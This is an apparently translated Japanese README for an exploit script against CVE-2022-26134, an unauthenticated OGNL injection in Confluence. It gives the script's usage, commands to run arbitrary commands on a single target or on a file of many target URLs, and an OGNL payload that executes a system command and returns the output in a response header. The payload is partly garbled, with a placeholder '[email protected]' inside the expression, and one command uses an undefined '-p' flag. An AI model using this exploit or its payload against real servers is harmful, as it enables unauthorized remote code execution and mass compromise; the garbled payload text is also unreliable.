Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)

Confluence の事前認証リモートコード実行（OGNL インジェクション）（CVE-2022-26134）

2022年6月2日、Atlassian は Confluence Server および Data Center アプリケーションに関するセキュリティアドバイザリを公開し、未認証のリモートコード実行の重大な脆弱性を強調しました。この OGNL インジェクションの脆弱性により、認証されていないユーザーが Confluence Server または Data Center インスタンス上で任意のコードを実行できる可能性があります。

重要

このエクスプロイトは、研究者が脆弱性のデモを容易に行うことのみを目的としています。不正行為を推奨するものではなく、このスクリプトの悪意のある使用について一切の責任を負いません。

• リクエスト例

BurpRequest

エクスプロイトの使用方法

python3 exploit.py -h
Usage: exploit.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri (ex. http://target-uri/)
  -f FILEHOSTS, --file=FILEHOSTS
                        example.txt
  -t THREADS_SET, --threads=THREADS_SET
  -m TIMEOUT, --maxtimeout=TIMEOUT
  -o OUTPUT, --output=OUTPUT
  -c COMMAND, --cmd=COMMAND

単一ターゲットのエクスプロイト:

$ python3 exploit.py -u http://xxxxx.com -c id

xpl1

複数ターゲットのエクスプロイト

$ python3 exploit.py -f urls.txt -p -c id

xpl2

OGNL 式

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

参考文献:

• https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

• https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

CVE-2022-26134

人気